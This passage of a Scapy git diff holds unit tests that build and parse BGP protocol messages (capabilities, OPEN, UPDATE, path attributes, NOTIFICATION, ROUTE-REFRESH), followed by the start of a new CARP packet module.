+c.code == 64 and c.restart_time == 120 and c.restart_flags == 0x8 and c.entries[0].afi == 1 and c.entries[0].safi == 1 and c.entries[0].flags == 128
+
+
+############################ BGPCapFourBytesASN ###############################
++ BGPCapFourBytesASN class tests
+
+= BGPCapFourBytesASN - Inheritance
+c = BGPCapFourBytesASN()
+assert(isinstance(c, BGPCapFourBytesASN))
+
+= BGPCapFourBytesASN - Instantiation
+raw(BGPCapFourBytesASN()) == b'A\x04\x00\x00\x00\x00'
+
+= BGPCapFourBytesASN - Instantiation with specific values (1)
+raw(BGPCapFourBytesASN(asn = 6555555)) == b'A\x04\x00d\x07\xa3'
+
+= BGPCapFourBytesASN - Instantiation with specific values (2)
+raw(BGPCapFourBytesASN(asn = 4294967295)) == b'A\x04\xff\xff\xff\xff'
+
+= BGPCapFourBytesASN - Basic dissection
+c = BGPCapFourBytesASN(b'A\x04\x00\x00\x00\x00')
+c.code == 65 and c.length == 4 and c.asn == 0
+
+= BGPCapFourBytesASN - Dissection with specific values
+c = BGPCapFourBytesASN(b'A\x04\xff\xff\xff\xff')
+c.code == 65 and c.length == 4 and c.asn == 4294967295
+
+
+####################### BGPAuthenticationInformation ##########################
++ BGPAuthenticationInformation class tests
+
+= BGPAuthenticationInformation - Instantiation
+raw(BGPAuthenticationInformation()) == b'\x00'
+
+= BGPAuthenticationInformation - Basic dissection
+c = BGPAuthenticationInformation(b'\x00')
+c.authentication_code == 0 and c.authentication_data == None
+
+
+################################# BGPOptParam #################################
++ BGPOptParam class tests
+
+= BGPOptParam - Instantiation
+raw(BGPOptParam()) == b'\x02\x00'
+
+= BGPOptParam - Instantiation with specific values (1)
+raw(BGPOptParam(param_type = 1)) == b'\x01\x00'
+raw(BGPOptParam(param_type = 1, param_value = BGPAuthenticationInformation())) == b'\x01\x00'
+
+= BGPOptParam - Instantiation with specific values (2)
+raw(BGPOptParam(param_type = 2)) == b'\x02\x00'
+
+= BGPOptParam - Instantiation with specific values (3)
+raw(BGPOptParam(param_type = 2, param_value = BGPCapFourBytesASN(asn = 4294967295))) == b'\x02\x06A\x04\xff\xff\xff\xff'
+
+= BGPOptParam - Instantiation with specific values (4)
+raw(BGPOptParam(param_type = 2, param_value = BGPCapability(code = 127))) == b'\x02\x02\x7f\x00'
+
+= BGPOptParam - Instantiation with specific values (5)
+raw(BGPOptParam(param_type = 2, param_value = BGPCapability(code = 255))) == b'\x02\x02\xff\x00'
+
+= BGPOptParam - Basic dissection
+p = BGPOptParam(b'\x02\x00')
+p.param_type == 2 and p.param_length == 0
+
+= BGPOptParam - Dissection with specific values
+p = BGPOptParam(b'\x02\x06A\x04\xff\xff\xff\xff')
+p.param_type == 2 and p.param_length == 6 and p.param_value[0].code == 65 and p.param_value[0].length == 4 and p.param_value[0].asn == 4294967295
+
+
+################################### BGPOpen ###################################
++ BGPOpen class tests
+
+= BGPOpen - Instantiation
+raw(BGPOpen()) == b'\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= BGPOpen - Instantiation with specific values (1)
+raw(BGPOpen(my_as = 64501, bgp_id = "192.0.2.1")) == b'\x04\xfb\xf5\x00\x00\xc0\x00\x02\x01\x00'
+
+= BGPOpen - Instantiation with specific values (2)
+opt = BGPOptParam(param_value = BGPCapMultiprotocol(afi = 1, safi = 1))
+raw(BGPOpen(my_as = 64501, bgp_id = "192.0.2.1", opt_params = [opt])) == b'\x04\xfb\xf5\x00\x00\xc0\x00\x02\x01\x08\x02\x06\x01\x04\x00\x01\x00\x01'
+
+= BGPOpen - Instantiation with specific values (3)
+cap = BGPOptParam(param_value = BGPCapMultiprotocol(afi = 1, safi = 1))
+capabilities = [cap]
+cap = BGPOptParam(param_value = BGPCapability(code = 128))
+capabilities.append(cap)
+cap = BGPOptParam(param_value = BGPCapability(code = 2))
+capabilities.append(cap)
+cap = BGPOptParam(param_value = BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi= 1, flags = 128)]))
+capabilities.append(cap)
+cap = BGPOptParam(param_value = BGPCapFourBytesASN(asn = 64503))
+capabilities.append(cap)
+raw(BGPOpen(my_as = 64503, bgp_id = "192.168.100.3", hold_time = 30, opt_params = capabilities)) == b'\x04\xfb\xf7\x00\x1e\xc0\xa8d\x03"\x02\x06\x01\x04\x00\x01\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x08@\x06\x00x\x00\x01\x01\x80\x02\x06A\x04\x00\x00\xfb\xf7'
+
+= BGPOpen - Dissection with specific values (1)
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00?\x01\x04\xfb\xf7\x00\x1e\xc0\xa8d\x03"\x02\x06\x01\x04\x00\x01\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x08@\x06\x00x\x00\x01\x01\x80\x02\x06A\x04\x00\x00\xfb\xf7')
+assert(BGPHeader in m and BGPOpen in m)
+assert(m.len == 63)
+assert(m.type == BGP.OPEN_TYPE)
+assert(m.version == 4)
+assert(m.my_as == 64503)
+assert(m.hold_time == 30)
+assert(m.bgp_id == "192.168.100.3")
+assert(m.opt_param_len == 34)
+assert(isinstance(m.opt_params[0].param_value, BGPCapMultiprotocol))
+assert(isinstance(m.opt_params[1].param_value, BGPCapability))
+assert(isinstance(m.opt_params[2].param_value, BGPCapability))
+assert(isinstance(m.opt_params[3].param_value, BGPCapGracefulRestart))
+
+= BGPOpen - Dissection with specific values (2) (followed by a KEEPALIVE)
+messages = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x01\x04\xfb\xf6\x00\xb4\xc0\xa8ze \x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x02\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x06A\x04\x00\x00\xfb\xf6\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
+m = BGP(messages)
+raw(m) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x01\x04\xfb\xf6\x00\xb4\xc0\xa8ze \x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x02\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x06A\x04\x00\x00\xfb\xf6\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
+
+= BGPOpen - Dissection with specific values (3)
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x8f\x01\x04\xfd\xe8\x00\xb4\n\xff\xff\x01r\x02\x06\x01\x04\x00\x01\x00\x84\x02\x06\x01\x04\x00\x19\x00A\x02\x06\x01\x04\x00\x02\x00\x02\x02\x06\x01\x04\x00\x01\x00\x02\x02\x06\x01\x04\x00\x02\x00\x80\x02\x06\x01\x04\x00\x01\x00\x80\x02\x06\x01\x04\x00\x01\x00B\x02\x06\x01\x04\x00\x02\x00\x01\x02\x06\x01\x04\x00\x02\x00\x04\x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x01\x00\x04\x02\x02\x80\x00\x02\x02\x02\x00\x02\x04@\x02\x80x\x02\x02F\x00\x02\x06A\x04\x00\x00\xfd\xe8')
+assert(BGPHeader in m and BGPOpen in m)
+
+= BGPOpen - Dissection with specific values (4)
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x8f\x01\x04\xfd\xe8\x00\xb4\n\xff\xff\x02r\x02\x06\x01\x04\x00\x01\x00\x84\x02\x06\x01\x04\x00\x19\x00A\x02\x06\x01\x04\x00\x02\x00\x02\x02\x06\x01\x04\x00\x01\x00\x02\x02\x06\x01\x04\x00\x02\x00\x80\x02\x06\x01\x04\x00\x01\x00\x80\x02\x06\x01\x04\x00\x01\x00B\x02\x06\x01\x04\x00\x02\x00\x01\x02\x06\x01\x04\x00\x02\x00\x04\x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x01\x00\x04\x02\x02\x80\x00\x02\x02\x02\x00\x02\x04@\x02\x00x\x02\x02F\x00\x02\x06A\x04\x00\x00\xfd\xe8')
+assert(BGPHeader in m and BGPOpen in m)
+
+
+################################# BGPPAOrigin #################################
++ BGPPAOrigin class tests
+
+= BGPPAOrigin - Instantiation
+raw(BGPPAOrigin()) == b'\x00'
+
+= BGPPAOrigin - Instantiation with specific values
+raw(BGPPAOrigin(origin = 1)) == b'\x01'
+
+= BGPPAOrigin - Dissection
+a = BGPPAOrigin(b'\x00')
+a.origin == 0
+
+
+################################ BGPPAASPath ##################################
++ BGPPAASPath class tests
+
+= BGPPAASPath - Instantiation
+raw(BGPPAASPath()) == b''
+
+= BGPPAASPath - Instantiation with specific values (1)
+raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64496, 64497, 64498])])) == b'\x02\x03\xfb\xf0\xfb\xf1\xfb\xf2'
+
+= BGPPAASPath - Instantiation with specific values (2)
+raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 1, segment_value = [64496, 64497, 64498])])) == b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2'
+
+= BGPPAASPath - Instantiation with specific values (3)
+raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 1, segment_value = [64496, 64497, 64498]), BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64500, 64501, 64502, 64502, 64503])])) == b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2\x02\x05\xfb\xf4\xfb\xf5\xfb\xf6\xfb\xf6\xfb\xf7' 
+
+= BGPPAASPath - Dissection (1)
+a = BGPPAASPath(b'\x02\x03\xfb\xf0\xfb\xf1\xfb\xf2')
+a.segments[0].segment_type == 2 and a.segments[0].segment_length == 3 and a.segments[0].segment_value == [64496, 64497, 64498]
+
+= BGPPAASPath - Dissection (2)
+a = BGPPAASPath(b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2\x02\x05\xfb\xf4\xfb\xf5\xfb\xf6\xfb\xf6\xfb\xf7')
+a.segments[0].segment_type == 1 and a.segments[0].segment_length == 3 and a.segments[0].segment_value == [64496, 64497, 64498] and a.segments[1].segment_type == 2 and a.segments[1].segment_length == 5 and a.segments[1].segment_value == [64500, 64501, 64502, 64502, 64503]
+
+
+############################### BGPPANextHop ##################################
++ BGPPANextHop class tests
+
+= BGPPANextHop - Instantiation
+raw(BGPPANextHop()) == b'\x00\x00\x00\x00'
+
+= BGPPANextHop - Instantiation with specific values
+raw(BGPPANextHop(next_hop = "192.0.2.1")) == b'\xc0\x00\x02\x01'
+
+= BGPPANextHop - Basic dissection
+a = BGPPANextHop(b'\x00\x00\x00\x00')
+a.next_hop == "0.0.0.0"
+
+= BGPPANextHop - Dissection with specific values
+a = BGPPANextHop(b'\xc0\x00\x02\x01')
+a.next_hop == '192.0.2.1'
+
+
+############################ BGPPAMultiExitDisc ##############################
++ BGPPAMultiExitDisc class tests
+
+= BGPPAMultiExitDisc - Instantiation
+raw(BGPPAMultiExitDisc()) == b'\x00\x00\x00\x00'
+
+= BGPPAMultiExitDisc - Instantiation with specific values (1)
+raw(BGPPAMultiExitDisc(med = 4)) == b'\x00\x00\x00\x04'
+
+= BGPPAMultiExitDisc - Basic dissection
+a = BGPPAMultiExitDisc(b'\x00\x00\x00\x00')
+a.med == 0
+
+
+############################## BGPPALocalPref ################################
++ BGPPALocalPref class tests
+
+= BGPPALocalPref - Instantiation
+raw(BGPPALocalPref()) == b'\x00\x00\x00\x00'
+
+= BGPPALocalPref - Instantiation with specific values (1)
+raw(BGPPALocalPref(local_pref = 110)) == b'\x00\x00\x00n'
+
+= BGPPALocalPref - Basic dissection
+a = BGPPALocalPref(b'\x00\x00\x00n')
+a.local_pref == 110
+
+
+############################## BGPPAAggregator ###############################
++ BGPPAAggregator class tests
+
+= BGPPAAggregator - Instantiation
+raw(BGPPAAggregator()) == b'\x00\x00\x00\x00\x00\x00'
+
+= BGPPAAggregator - Instantiation with specific values (1)
+raw(BGPPAAggregator(aggregator_asn = 64500, speaker_address = "192.0.2.1")) == b'\xfb\xf4\xc0\x00\x02\x01'
+
+= BGPPAAggregator - Dissection
+a = BGPPAAggregator(b'\xfb\xf4\xc0\x00\x02\x01')
+a.aggregator_asn == 64500 and a.speaker_address == "192.0.2.1"
+
+
+############################## BGPPACommunity ################################
++ BGPPACommunity class tests
+
+= BGPPACommunity - Basic instantiation
+raw(BGPPACommunity()) == b'\x00\x00\x00\x00'
+
+= BGPPACommunity - Instantiation with specific value
+raw(BGPPACommunity(community = 0xFFFFFF01)) == b'\xff\xff\xff\x01'
+
+= BGPPACommunity - Dissection
+a = BGPPACommunity(b'\xff\xff\xff\x01')
+a.community == 0xFFFFFF01
+
+
+############################ BGPPAOriginatorID ###############################
++ BGPPAOriginatorID class tests
+
+= BGPPAOriginatorID - Basic instantiation
+raw(BGPPAOriginatorID()) == b'\x00\x00\x00\x00'
+
+= BGPPAOriginatorID - Instantiation with specific value
+raw(BGPPAOriginatorID(originator_id = '192.0.2.1')) == b'\xc0\x00\x02\x01'
+
+= BGPPAOriginatorID - Dissection
+a = BGPPAOriginatorID(b'\xc0\x00\x02\x01')
+a.originator_id == "192.0.2.1"
+
+
+############################ BGPPAClusterList ################################
++ BGPPAClusterList class tests
+
+= BGPPAClusterList - Basic instantiation
+raw(BGPPAClusterList()) == b''
+
+= BGPPAClusterList - Instantiation with specific values
+raw(BGPPAClusterList(cluster_list = [150000, 165465465, 132132])) == b'\x00\x02I\xf0\t\xdc\xcdy\x00\x02\x04$'
+
+= BGPPAClusterList - Dissection
+a = BGPPAClusterList(b'\x00\x02I\xf0\t\xdc\xcdy\x00\x02\x04$')
+a.cluster_list[0] == 150000 and a.cluster_list[1] == 165465465 and a.cluster_list[2] == 132132
+
+
+########################### BGPPAMPReachNLRI  ###############################
++ BGPPAMPReachNLRI class tests
+
+= BGPPAMPReachNLRI - Instantiation
+raw(BGPPAMPReachNLRI()) == b'\x00\x00\x00\x00\x00'
+
+= BGPPAMPReachNLRI - Instantiation with specific values (1)
+raw(BGPPAMPReachNLRI(afi=2, safi=1, nh_addr_len=16, nh_v6_addr = "2001:db8::2", nlri = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")])) == b'\x00\x02\x01\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00@ \x01\r\xb8\x00\x02\x00\x00'
+
+= BGPPAMPReachNLRI - Dissection (1)
+a = BGPPAMPReachNLRI(b'\x00\x02\x01  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xfe\x80\x00\x00\x00\x00\x00\x00\xc0\x02\x0b\xff\xfe~\x00\x00\x00@ \x01\r\xb8\x00\x02\x00\x02@ \x01\r\xb8\x00\x02\x00\x01@ \x01\r\xb8\x00\x02\x00\x00')
+a.afi == 2 and a.safi == 1 and a.nh_addr_len == 32 and a.nh_v6_global == "2001:db8::2" and a.nh_v6_link_local == "fe80::c002:bff:fe7e:0" and a.reserved == 0 and a.nlri[0].prefix == "2001:db8:2:2::/64" and a.nlri[1].prefix == "2001:db8:2:1::/64" and a.nlri[2].prefix == "2001:db8:2::/64"
+
+= BGPPAMPReachNLRI - Dissection (2)
+a = BGPPAMPReachNLRI(b'\x00\x02\x01 \xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\x00\x06\x04\x05\x08\x04\x10\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\t\xfe\x00\x16 \x01<\x08-\x07.\x040\x10?\xfe\x10 \x02\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00  \x01\x00\x000 \x01\x00\x02\x00\x00  \x01\r\xb8\x1c \x01\x00\x10\x07\xfc\n\xfe\x80\x08\xff\n\xfe\xc0\x03 \x03@\x08_`\x00d\xff\x9b\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x01\x07\x02')
+a.afi == 2 and a.safi == 1 and a.nh_addr_len == 32 and a.nh_v6_global == "fe80::fac0:100:15de:1581" and a.nh_v6_link_local == "fe80::fac0:100:15de:1581" and a.reserved == 0 and a.nlri[0].prefix == "400::/6" and a.nlri[1].prefix == "800::/5" and  raw(a.nlri[18]) == b'`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff' and a.nlri[35].prefix == "200::/7"
+
+
+############################# BGPPAMPUnreachNLRI #############################
++ BGPPAMPUnreachNLRI class tests
+
+= BGPPAMPUnreachNLRI - Instantiation
+raw(BGPPAMPUnreachNLRI()) == b'\x00\x00\x00'
+
+= BGPPAMPUnreachNLRI - Instantiation with specific values (1)
+raw(BGPPAMPUnreachNLRI(afi = 2, safi = 1)) == b'\x00\x02\x01'
+
+= BGPPAMPUnreachNLRI - Instantiation with specific values (2)
+raw(BGPPAMPUnreachNLRI(afi = 2, safi = 1, afi_safi_specific = BGPPAMPUnreachNLRI_IPv6(withdrawn_routes = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")]))) == b'\x00\x02\x01@ \x01\r\xb8\x00\x02\x00\x00'
+
+= BGPPAMPUnreachNLRI - Dissection (1)
+a = BGPPAMPUnreachNLRI(b'\x00\x02\x01')
+a.afi == 2 and a.safi == 1
+
+= BGPPAMPUnreachNLRI - Dissection (2)
+a = BGPPAMPUnreachNLRI(b'\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00  \x01\x00\x000 \x01\x00\x02\x00\x00  \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10')
+a.afi == 2 and a.safi == 1 and a.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3" and a.afi_safi_specific.withdrawn_routes[11].prefix == "2001::/32" and a.afi_safi_specific.withdrawn_routes[23].prefix == "1000::/4"
+
+
+############################# BGPPAAS4Aggregator #############################
++ BGPPAAS4Aggregator class tests
+
+= BGPPAAS4Aggregator - Instantiation
+raw(BGPPAAS4Aggregator()) == b'\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= BGPPAAS4Aggregator - Instantiation with specific values
+raw(BGPPAAS4Aggregator(aggregator_asn = 644566565, speaker_address = "192.0.2.1")) == b'&kN%\xc0\x00\x02\x01'
+
+= BGPPAAS4Aggregator - Dissection
+a = BGPPAAS4Aggregator(b'&kN%\xc0\x00\x02\x01')
+a.aggregator_asn == 644566565 and a.speaker_address == "192.0.2.1"
+
+
+################################ BGPPathAttr #################################
++ BGPPathAttr class tests
+
+= BGPPathAttr - Instantiation
+raw(BGPPathAttr()) == b'\x80\x00\x00'
+
+= BGPPathAttr - Instantiation with specific values (1)
+raw(BGPPathAttr(type_code = 1, attribute = BGPPAOrigin(origin = 0)))
+
+= BGPPathAttr - Instantiation with specific values (2)
+raw(BGPPathAttr(type_code = 2, attribute = BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64501, 64501, 64501])]))) == b'\x80\x02\x08\x02\x03\xfb\xf5\xfb\xf5\xfb\xf5'
+
+= BGPPathAttr - Instantiation with specific values (3)
+
+raw(BGPPathAttr(type_code = 14, attribute = BGPPAMPReachNLRI(afi = 2, safi = 1, nh_addr_len = 16, nh_v6_addr = "2001:db8::2", nlri = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")]))) == b'\x80\x0e\x1e\x00\x02\x01\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00@ \x01\r\xb8\x00\x02\x00\x00'
+
+= BGPPathAttr - Dissection (1)
+a = BGPPathAttr(b'\x90\x0f\x00X\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00  \x01\x00\x000 \x01\x00\x02\x00\x00  \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10')
+a.type_flags == 0x90 and a.type_code == 15 and a.attr_ext_len == 88 and a.attribute.afi == 2 and a.attribute.safi == 1 and a.attribute.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[1].prefix == "8000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[2].prefix == "a000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[3].prefix == "c000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[4].prefix == "e000::/4" and a.attribute.afi_safi_specific.withdrawn_routes[5].prefix == "f000::/5" and a.attribute.afi_safi_specific.withdrawn_routes[23].prefix == "1000::/4"
+
+
+################################# BGPUpdate ##################################
++ BGPUpdate class tests
+
+= BGPUpdate - Instantiation
+raw(BGPUpdate()) == b'\x00\x00\x00\x00'
+
+= BGPUpdate - Dissection (1)
+bgp_module_conf.use_2_bytes_asn = True
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x000\x02\x00\x19\x18\xc0\xa8\x96\x18\x07\x07\x07\x18\xc63d\x18\xc0\xa8\x01\x19\x06\x06\x06\x00\x18\xc0\xa8\x1a\x00\x00')
+assert(BGPHeader in m and BGPUpdate in m)
+assert(m.withdrawn_routes_len == 25)
+assert(m.withdrawn_routes[0].prefix == "192.168.150.0/24")
+assert(m.withdrawn_routes[5].prefix == "192.168.26.0/24")
+assert(m.path_attr_len == 0)
+
+= BGPUpdate - Behave like a NEW speaker (RFC 6793) - Dissection (2)
+bgp_module_conf.use_2_bytes_asn = False
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x02\x00\x00\x00"@\x01\x01\x00@\x02\x06\x02\x01\x00\x00\xfb\xfa@\x03\x04\xc0\xa8\x10\x06\x80\x04\x04\x00\x00\x00\x00\xc0\x08\x04\xff\xff\xff\x01\x18\xc0\xa8\x01')
+assert(BGPHeader in m and BGPUpdate in m)
+assert(m.path_attr[1].attribute.segments[0].segment_value == [64506])
+assert(m.path_attr[4].attribute.community == 0xFFFFFF01)
+assert(m.nlri[0].prefix == "192.168.1.0/24")
+
+
+
+= BGPUpdate - Dissection (MP_REACH_NLRI)
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\xd8\x02\x00\x00\x00\xc1@\x01\x01\x00@\x02\x06\x02\x01\x00\x00\xfb\xf6\x90\x0e\x00\xb0\x00\x02\x01 \xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\x00\x06\x04\x05\x08\x04\x10\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\t\xfe\x00\x16 \x01<\x08-\x07.\x040\x10?\xfe\x10 \x02\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00  \x01\x00\x000 \x01\x00\x02\x00\x00  \x01\r\xb8\x1c \x01\x00\x10\x07\xfc\n\xfe\x80\x08\xff\n\xfe\xc0\x03 \x03@\x08_`\x00d\xff\x9b\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x01\x07\x02')
+assert(BGPHeader in m and BGPUpdate in m)
+assert(m.path_attr[2].attribute.afi == 2)
+assert(m.path_attr[2].attribute.safi == 1)
+assert(m.path_attr[2].attribute.nh_addr_len == 32)
+assert(m.path_attr[2].attribute.nh_v6_global == "fe80::fac0:100:15de:1581")
+assert(m.path_attr[2].attribute.nh_v6_link_local == "fe80::fac0:100:15de:1581")
+assert(m.path_attr[2].attribute.nlri[0].prefix == "400::/6")
+assert(m.nlri == [])
+
+= BGPUpdate - Dissection (MP_UNREACH_NLRI)
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00s\x02\x00\x00\x00\\\x90\x0f\x00X\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00  \x01\x00\x000 \x01\x00\x02\x00\x00  \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10')
+assert(BGPHeader in m and BGPUpdate in m)
+assert(m.path_attr[0].attribute.afi == 2)
+assert(m.path_attr[0].attribute.safi == 1)
+assert(m.path_attr[0].attribute.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3")
+assert(m.nlri == [])
+
+= BGPUpdate - with BGPHeader
+p = BGP(raw(BGPHeader()/BGPUpdate()))
+assert(BGPHeader in p and BGPUpdate in p)
+
+
+########## BGPNotification Class ###################################
++ BGPNotification class tests
+
+= BGPNotification - Instantiation
+raw(BGPNotification()) == b'\x00\x00'
+
+= BGPNotification - Dissection (Administratively Reset)
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x03\x06\x04')
+m.type == BGP.NOTIFICATION_TYPE and m.error_code == 6 and m.error_subcode == 4
+
+= BGPNotification - Dissection (Bad Peer AS)
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x17\x03\x02\x02\x00\x00')
+m.type == BGP.NOTIFICATION_TYPE and m.error_code == 2 and m.error_subcode == 2
+
+= BGPNotification - Dissection (Attribute Flags Error)
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x19\x03\x03\x04\x80\x01\x01\x00')
+m.type == BGP.NOTIFICATION_TYPE and m.error_code == 3 and m.error_subcode == 4
+
+
+########## BGPRouteRefresh Class ###################################
++ BGPRouteRefresh class tests
+
+= BGPRouteRefresh - Instantiation
+raw(BGPRouteRefresh()) == b'\x00\x01\x00\x01'
+
+= BGPRouteRefresh - Instantiation with specific values
+raw(BGPRouteRefresh(afi = 1, safi = 1)) == b'\x00\x01\x00\x01'
+
+= BGPRouteRefresh - Dissection (1)
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x17\x05\x00\x02\x00\x01')
+m.type == BGP.ROUTEREFRESH_TYPE and m.len == 23 and m.afi == 2 and m.subtype == 0 and m.safi == 1
+ 
+
+= BGPRouteRefresh - Dissection (2) - With ORFs
+m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00.\x05\x00\x01\x00\x01\x01\x80\x00\x13 \x00\x00\x00\x05\x18\x18\x15\x01\x01\x00\x00\x00\x00\x00\n\x00 \x00')
+assert(m.type == BGP.ROUTEREFRESH_TYPE)
+assert(m.len == 46)
+assert(m.afi == 1)
+assert(m.subtype == 0)
+assert(m.safi == 1)
+assert(m.orf_data[0].when_to_refresh == 1)
+assert(m.orf_data[0].orf_type == 128)
+assert(m.orf_data[0].orf_len == 19)
+assert(len(m.orf_data[0].entries) == 2)
+assert(m.orf_data[0].entries[0].action == 0)
+assert(m.orf_data[0].entries[0].match == 1)
+assert(m.orf_data[0].entries[0].prefix.prefix == "1.1.0.0/21")
+assert(m.orf_data[0].entries[1].action == 0)
+assert(m.orf_data[0].entries[1].match == 0)
+assert(m.orf_data[0].entries[1].prefix.prefix == "0.0.0.0/0")
+
diff --git a/scapy/contrib/carp.py b/scapy/contrib/carp.py
new file mode 100644
index 0000000..9d98a08
--- /dev/null
+++ b/scapy/contrib/carp.py
@@ -0,0 +1,83 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = CARP
+# scapy.contrib.status = loads
+
+import struct, hmac, hashlib
+
+from scapy.packet import *
+from scapy.layers.inet import IP
+from scapy.fields import BitField, ByteField, XShortField, IntField, XIntField
+from scapy.utils import checksum, inet_aton
+
+class CARP(Packet):
+    name = "CARP"
